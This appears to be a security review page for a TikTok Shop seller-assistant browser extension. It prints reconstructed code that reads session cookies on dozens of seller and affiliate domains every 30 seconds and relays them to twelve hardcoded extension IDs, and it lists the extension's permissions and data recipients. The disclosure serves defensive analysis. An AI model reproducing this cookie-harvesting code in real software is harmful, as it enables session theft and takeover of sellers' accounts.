Is 锐达RCL-TK店铺运营AI助手 safe?

Findings

// Injected on 34 TikTok Shop / Tokopedia seller & affiliate domains// (world: "MAIN", run_at: "document_idle", all_frames: true)const HARDCODED_EXTENSION_IDS = [  "hgdmabidjolceceokllcnocfbponbbbl",  "oeehdfmbpmbinklmhcbeknlblaeadhnh", // this extension's own ID  "popeigeaagcfoegoakjahlkiaedpmdjj",  "plmecaajjgiophecmchallhgkademjfd",  "jjbcnbdcdfbdbbncjhhdcppjjffgdnkb",  "jjncapkcinnohbnphclfgehnajceceoj",  "fccbcdgommgdfpcbjlnogkmgpmnpgcjl",  "nhbehmbapoaiooijkihpnlobmagjnhgf",  "fblffnjoaabomjochfnjhbicdokhmemi",  "cpddbpjoaabhfgcfmfmolbnedjghepnb",  "bcaldoohacjfmbofgadcfmglhgokbpdp",  "hbohohjaeallkkeciiokhnmdhoocnegj",];function readAndBroadcastCookies() {  const domain = document.domain;  const cookie = document.cookie;  for (const extensionId of HARDCODED_EXTENSION_IDS) {    sendToBackgroundViaRelay({      name: ToBackgroundRequestName.RETRIEVE_COOKIES, // "retrieve_cookies"      body: { domain, cookie },      extensionId,    });  }}console.log("main world start");readAndBroadcastCookies();                    // fires once on injectionsetInterval(readAndBroadcastCookies, 30000);  // and again every 30 secondsconsole.log("main world end");

// Background service worker listens for "retrieve_cookies" messages// relayed from the main-world content scriptglobalThis.__plasmoInternalPortMap = new Map();chrome.runtime.onMessageExternal.addListener((message, sender) => {  return true; // accepts external messages; no sender-origin allowlist here});chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {  if (message.name === "retrieve_cookies") {    retrieveCookiesHandler({ ...message, sender }, { send: sendResponse });  }  return true;});

// ~background/messages/retrieve_cookies.js + ~common/utils/cookie_store_utils.jsasync function retrieveCookiesHandler(message, response) {  const store = await loadCookieStore(); // reads chrome.storage.local["cookie-store"]  // message.body.cookie is the raw document.cookie string, e.g.  // "sess_id=...; msToken=...; store-idc=useast5"  for (const pair of message.body.cookie.split("; ")) {    const [key, value] = pair.split("=");    addCookie(store, { domain: message.body.domain, key, value });  }  await dumpCookieStore(store); // writes chrome.storage.local["cookie-store"]  response.send();}function addCookie(store, cookie) {  store.cookies ??= [];  const existing = store.cookies.find(    (c) => c.domain === cookie.domain && c.key === cookie.key  );  if (existing) { existing.value = cookie.value; return; }  store.cookies.push(cookie);}async function loadCookieStore() {  const raw = await plasmoStorage.get("cookie-store");  return raw ? JSON.parse(raw) : {};}async function dumpCookieStore(store) {  await plasmoStorage.set("cookie-store", JSON.stringify(store));}

{  "cookies": [    {      "key": "sess_id",      "value": "<redacted>",      "domain": "seller-us.tiktok.com"    },    {      "key": "msToken",      "value": "<redacted>",      "domain": "affiliate.tiktok.com"    }  ]}

What it can do

Permissions this extension asks for, as declared in version 3.6.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 3.8.1, which we have not unpacked yet.

• Read and change your data on seller-us.tiktok.com

  https://seller-us.tiktok.com/*

• Read and change your data on seller-uk.tiktok.com

  https://seller-uk.tiktok.com/*

• Read and change your data on affiliate-us.tiktok.com

  https://affiliate-us.tiktok.com/api/v1/*

• Read and change your data on affiliate.tiktok.com

  https://affiliate.tiktok.com/api/v1/*

• Read and change your data on affiliate.tiktokglobalshop.com

  https://affiliate.tiktokglobalshop.com/api/* and 1 more

• Read and change your data on affiliate.tiktokshopglobalselling.com

  https://affiliate.tiktokshopglobalselling.com/api/* and 1 more

• Read and change your data on tiktokglobalshop.com

  https://*.tiktokglobalshop.com/*

• Read and change your data on tiktokshopglobalselling.com

  https://*.tiktokshopglobalselling.com/*

• Read and change your data on api16-normal-sg.tiktokglobalshop.com

  https://api16-normal-sg.tiktokglobalshop.com/*

• Read and change your data on api16-normal-useast1a.tiktokglobalshop.com

  https://api16-normal-useast1a.tiktokglobalshop.com/*

• Read and change your data on seller.us.tiktokglobalshop.com

  https://seller.us.tiktokglobalshop.com/*

• Read and change your data on seller.tiktokshopglobalselling.com

  https://seller.tiktokshopglobalselling.com/*

• Read and change your data on seller.eu.tiktokshopglobalselling.com

  https://seller.eu.tiktokshopglobalselling.com/*

• Read and change your data on seller.us.tiktokshopglobalselling.com

  https://seller.us.tiktokshopglobalselling.com/*

• Read and change your data on seller-mx.tiktok.com

  https://seller-mx.tiktok.com/*

• Read and change your data on seller-es.tiktok.com

  https://seller-es.tiktok.com/*

• Read and change your data on seller-th.tiktok.com

  https://seller-th.tiktok.com/*

• Read and change your data on seller-sg.tiktok.com

  https://seller-sg.tiktok.com/*

• Read and change your data on seller-my.tiktok.com

  https://seller-my.tiktok.com/*

• Read and change your data on seller-vn.tiktok.com

  https://seller-vn.tiktok.com/*

• Read and change your data on seller-ph.tiktok.com

  https://seller-ph.tiktok.com/*

• Read and change your data on seller-de.tiktok.com

  https://seller-de.tiktok.com/*

• Read and change your data on seller-fr.tiktok.com

  https://seller-fr.tiktok.com/*

• Read and change your data on seller-it.tiktok.com

  https://seller-it.tiktok.com/*

• Read and change your data on seller-ie.tiktok.com

  https://seller-ie.tiktok.com/*

• Read and change your data on seller-br.tiktok.com

  https://seller-br.tiktok.com/*

• Read and change your data on seller-jp.tiktok.com

  https://seller-jp.tiktok.com/*

• Read and change your data on seller-id.tiktok.com

  https://seller-id.tiktok.com/*

• Read and change your data on partner.us.tiktokshop.com

  https://partner.us.tiktokshop.com/*

• Read and change your data on partner.eu.tiktokshop.com

  https://partner.eu.tiktokshop.com/*

• Read and change your data on affiliate-id.tokopedia.com

  https://affiliate-id.tokopedia.com/*

• Read and change your data on seller-id.tokopedia.com

  https://seller-id.tokopedia.com/*

• Read and change your data on rising-link.us.auth0.com

  https://rising-link.us.auth0.com/*

• Read and change your data on rcl-service-us.risinglink.cc

  https://rcl-service-us.risinglink.cc/*

• Read and change your data on rcl-service-sg.risinglink.cc

  https://rcl-service-sg.risinglink.cc/*

• Read and change your data on rcl-service-eu.risinglink.cc

  https://rcl-service-eu.risinglink.cc/*

• Read and change your data on warehouse.ecom-science.com

  https://warehouse.ecom-science.com/*

• Read and change your data on api-partner-sg.tiktokshop.com

  https://api-partner-sg.tiktokshop.com/*

• Read and change your data on api-partner-va.tiktokshop.com

  https://api-partner-va.tiktokshop.com/*

• Read and change your data on partner.tiktokshop.com

  https://partner.tiktokshop.com/*

• Read and change your data on oec-im-tt-mva.tiktokglobalshopv.com

  https://oec-im-tt-mva.tiktokglobalshopv.com/*

• Read and change your data on oec-im-tt-mva.tiktokshopglobalselling.com

  https://oec-im-tt-mva.tiktokshopglobalselling.com/*

• Store data in your browser

  storage

• Run its own code inside the pages you visit

  scripting

• Show a panel beside the page

  sidePanel

• See the address and title of every tab you have open

  tabs

• Act on the current tab, but only after you click the extension

  activeTab

• Store an unlimited amount of data in your browser

  unlimitedStorage

• Watch every request your browser makes

  webRequest

Where it sends data

Destinations our analysis observed 锐达RCL-TK店铺运营AI助手 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

• bcaldoohacjfmbofgadcfmglhgokbpdp

  锐达RCL-TK店铺运营AI助手 sends data to bcaldoohacjfmbofgadcfmglhgokbpdp. Named as a recipient in this extension's own analysis.

• cpddbpjoaabhfgcfmfmolbnedjghepnb

  锐达RCL-TK店铺运营AI助手 sends data to cpddbpjoaabhfgcfmfmolbnedjghepnb. Named as a recipient in this extension's own analysis.

• fblffnjoaabomjochfnjhbicdokhmemi

  锐达RCL-TK店铺运营AI助手 sends data to fblffnjoaabomjochfnjhbicdokhmemi. Named as a recipient in this extension's own analysis.

• fccbcdgommgdfpcbjlnogkmgpmnpgcjl

  锐达RCL-TK店铺运营AI助手 sends data to fccbcdgommgdfpcbjlnogkmgpmnpgcjl. Named as a recipient in this extension's own analysis.

• hbohohjaeallkkeciiokhnmdhoocnegj

  锐达RCL-TK店铺运营AI助手 sends data to hbohohjaeallkkeciiokhnmdhoocnegj. Named as a recipient in this extension's own analysis.

• hgdmabidjolceceokllcnocfbponbbbl

  锐达RCL-TK店铺运营AI助手 sends data to hgdmabidjolceceokllcnocfbponbbbl. Named as a recipient in this extension's own analysis.

• jjbcnbdcdfbdbbncjhhdcppjjffgdnkb

  锐达RCL-TK店铺运营AI助手 sends data to jjbcnbdcdfbdbbncjhhdcppjjffgdnkb. Named as a recipient in this extension's own analysis.

• jjncapkcinnohbnphclfgehnajceceoj

  锐达RCL-TK店铺运营AI助手 sends data to jjncapkcinnohbnphclfgehnajceceoj. Named as a recipient in this extension's own analysis.

• nhbehmbapoaiooijkihpnlobmagjnhgf

  锐达RCL-TK店铺运营AI助手 sends data to nhbehmbapoaiooijkihpnlobmagjnhgf. Named as a recipient in this extension's own analysis.

• oeehdfmbpmbinklmhcbeknlblaeadhnh

  锐达RCL-TK店铺运营AI助手 sends data to oeehdfmbpmbinklmhcbeknlblaeadhnh. Named as a recipient in this extension's own analysis.

• plmecaajjgiophecmchallhgkademjfd

  锐达RCL-TK店铺运营AI助手 sends data to plmecaajjgiophecmchallhgkademjfd. Named as a recipient in this extension's own analysis.

• popeigeaagcfoegoakjahlkiaedpmdjj

  锐达RCL-TK店铺运营AI助手 sends data to popeigeaagcfoegoakjahlkiaedpmdjj. Named as a recipient in this extension's own analysis.